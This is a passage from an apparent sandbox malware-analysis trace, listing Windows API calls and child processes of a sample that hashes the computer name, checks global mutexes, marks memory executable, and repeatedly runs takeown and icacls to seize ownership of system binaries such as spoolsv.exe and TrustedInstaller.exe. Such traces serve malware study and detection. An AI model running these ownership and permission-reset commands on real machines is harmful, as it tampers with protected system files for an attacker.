lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVHLPR.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0xb3c310, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGENG.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNETLIB.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNMPNTW.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DCIMAN32.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDACLSYS.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0xb3c310, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDOIPROXY.DLL", lpUsedDefaultChar=0x0) returned 13 [0241.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0xb3c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDORES.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0xb3c310, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAW.DLL", lpUsedDefaultChar=0x0) returned 9 [0241.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAWEX.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0241.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0xb3c310, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEFAULTLOCATIONCPL.DLL", lpUsedDefaultChar=0x0) returned 22 [0241.781] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x192fa68 | out: BaseAddress=0x192fa68*=0x75cf0000) returned 0x0 [0241.877] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.878] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.878] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e950) returned 1 [0241.878] FindClose (in: hFindFile=0x8d0078 | out: hFindFile=0x8d0078) returned 1 [0241.878] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e378) returned 1 [0241.878] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe", pNumArgs=0x192fa94 | out: pNumArgs=0x192fa94) returned 0x8e84a8*="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" [0241.878] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x10) returned 0xb3d670 [0241.878] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x8) returned 0xb3d310 [0241.878] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x100) returned 0x9b9010 [0241.878] LocalFree (hMem=0x8e84a8) returned 0x0 [0241.878] Wow64DisableWow64FsRedirection (in: OldValue=0x192fa90 | out: OldValue=0x192fa90*=0x0) returned 1 [0241.878] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x800) returned 0x9b9118 [0241.878] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x9b9118, nSize=0x200 | out: lpFilename="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf\\presentationfontcache.exe")) returned 0x47 [0241.878] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e378 [0241.879] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e950 [0241.879] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e378) returned 1 [0241.879] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e950) returned 1 [0241.879] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e950 [0241.879] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x100) returned 0x9b9920 [0241.879] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x9b9920, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0241.879] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b9920) returned 1 [0241.879] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e950) returned 1 [0241.879] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e950 [0241.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.879] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b8070 [0241.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x9b8070, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0241.879] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b80b8 [0241.879] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b8070) returned 1 [0241.879] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e950) returned 1 [0241.879] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b8070 [0241.879] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b8100 [0241.879] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b8148 [0241.879] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b8190 [0241.879] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b81d8 [0241.879] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b8220 [0241.879] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x5000) returned 0x9b2850 [0241.879] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b8268 [0241.879] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b8268) returned 1 [0241.879] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0241.880] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b2850) returned 1 [0241.880] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x8c86b0, lpbSaclPresent=0x192f8c4, pSacl=0x192f918, lpbSaclDefaulted=0x192f8c4 | out: lpbSaclPresent=0x192f8c4, pSacl=0x192f918, lpbSaclDefaulted=0x192f8c4) returned 1 [0241.880] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b8268 [0241.880] CreateEventA (lpEventAttributes=0x192f90c, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0241.880] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b8268) returned 1 [0241.880] GetLastError () returned 0x0 [0241.881] LocalFree (hMem=0x8c86b0) returned 0x0 [0241.881] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b8268 [0241.881] CryptAcquireContextW (in: phProv=0x192f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x192f8fc*=0x8e88a8) returned 1 [0241.881] CryptCreateHash (in: hProv=0x8e88a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x192f8fc | out: phHash=0x192f8fc) returned 1 [0241.881] CryptHashData (hHash=0x8d0078, pbData=0x9b8100, dwDataLen=0xb, dwFlags=0x0) returned 1 [0241.882] CryptGetHashParam (in: hHash=0x8d0078, dwParam=0x4, pbData=0x192f900, pdwDataLen=0x192f90c, dwFlags=0x0 | out: pbData=0x192f900, pdwDataLen=0x192f90c) returned 1 [0241.882] CryptGetHashParam (in: hHash=0x8d0078, dwParam=0x2, pbData=0x9b8268, pdwDataLen=0x192f900, dwFlags=0x0 | out: pbData=0x9b8268, pdwDataLen=0x192f900) returned 1 [0241.882] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b82b0 [0241.882] CryptDestroyHash (hHash=0x8d0078) returned 1 [0241.882] CryptReleaseContext (hProv=0x8e88a8, dwFlags=0x0) returned 1 [0241.882] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b8268) returned 1 [0241.882] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b8268 [0241.882] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b82f8 [0241.882] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b8268) returned 1 [0241.882] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b8268 [0241.882] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b8268) returned 1 [0241.882] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b82f8) returned 1 [0241.882] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b82b0) returned 1 [0241.882] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b82b0 [0241.882] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x128 [0241.882] GetLastError () returned 0x0 [0241.882] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b82f8 [0241.882] CryptAcquireContextW (in: phProv=0x192f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x192f8fc*=0x8e88a8) returned 1 [0241.883] CryptCreateHash (in: hProv=0x8e88a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x192f8fc | out: phHash=0x192f8fc) returned 1 [0241.883] CryptHashData (hHash=0x8e8ba0, pbData=0x9b8100, dwDataLen=0xb, dwFlags=0x0) returned 1 [0241.883] CryptGetHashParam (in: hHash=0x8e8ba0, dwParam=0x4, pbData=0x192f900, pdwDataLen=0x192f90c, dwFlags=0x0 | out: pbData=0x192f900, pdwDataLen=0x192f90c) returned 1 [0241.883] CryptGetHashParam (in: hHash=0x8e8ba0, dwParam=0x2, pbData=0x9b82f8, pdwDataLen=0x192f900, dwFlags=0x0 | out: pbData=0x9b82f8, pdwDataLen=0x192f900) returned 1 [0241.883] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b8268 [0241.883] CryptDestroyHash (hHash=0x8e8ba0) returned 1 [0241.883] CryptReleaseContext (hProv=0x8e88a8, dwFlags=0x0) returned 1 [0241.883] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b82f8) returned 1 [0241.883] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b82f8 [0241.883] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b8340 [0241.883] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b82f8) returned 1 [0241.883] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b82f8 [0241.883] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b82f8) returned 1 [0241.883] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b8340) returned 1 [0241.883] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b8268) returned 1 [0241.883] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b8268 [0241.883] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b8340 [0241.883] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0241.884] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b8340) returned 1 [0241.884] GetLastError () returned 0x5 [0241.884] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b8340 [0241.884] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0241.884] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b8340) returned 1 [0241.884] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0x9b8340 [0241.884] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x12c [0241.884] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b8340) returned 1 [0241.884] SetEvent (hEvent=0x128) returned 1 [0241.884] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) Thread: id = 1042 os_tid = 0x2e8 Process: id = "133" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x14075000" os_pid = "0xaf0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\System32\\spoolsv.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 984 os_tid = 0xaf4 Thread: id = 985 os_tid = 0xb04 Process: id = "134" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x1337a000" os_pid = "0xb08" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\System32\\spoolsv.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 986 os_tid = 0xb0c Process: id = "135" image_name = "ose.exe" filename = "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe" page_root = "0x79a4b000" os_pid = "0xb1c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE\"" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 987 os_tid = 0xb20 [0243.643] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x27f8a4 | out: ProcedureAddress=0x27f8a4*=0x770149d7) returned 0x0 [0243.644] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x27f8a4 | out: ProcedureAddress=0x27f8a4*=0x77011222) returned 0x0 [0243.644] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x27f8a4 | out: ProcedureAddress=0x27f8a4*=0x77011856) returned 0x0 [0243.644] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x27f8a4 | out: ProcedureAddress=0x27f8a4*=0x7701435f) returned 0x0 [0243.644] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0243.644] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0243.644] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0243.644] VirtualProtect (in: lpAddress=0xc0000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x27f958 | out: lpflOldProtect=0x27f958*=0x2) returned 1 [0243.700] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x460000 [0243.703] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0243.703] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0243.703] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0243.704] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 Thread: id = 988 os_tid = 0xb24 Thread: id = 989 os_tid = 0xb28 Thread: id = 990 os_tid = 0xb2c Thread: id = 991 os_tid = 0xb30 Thread: id = 1041 os_tid = 0x234 Process: id = "136" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x78af0000" os_pid = "0xb34" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 992 os_tid = 0xb38 Thread: id = 993 os_tid = 0xb48 Process: id = "137" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x2f8f5000" os_pid = "0xb4c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 994 os_tid = 0xb50 Process: id = "138" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x12fa000" os_pid = "0xb60" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 995 os_tid = 0xb64 Thread: id = 996 os_tid = 0xb74 Process: id = "139" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x192ff000" os_pid = "0xb78" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 997 os_tid = 0xb7c Process: id = "140" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x74104000" os_pid = "0xb8c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 998 os_tid = 0xb90 Process: id 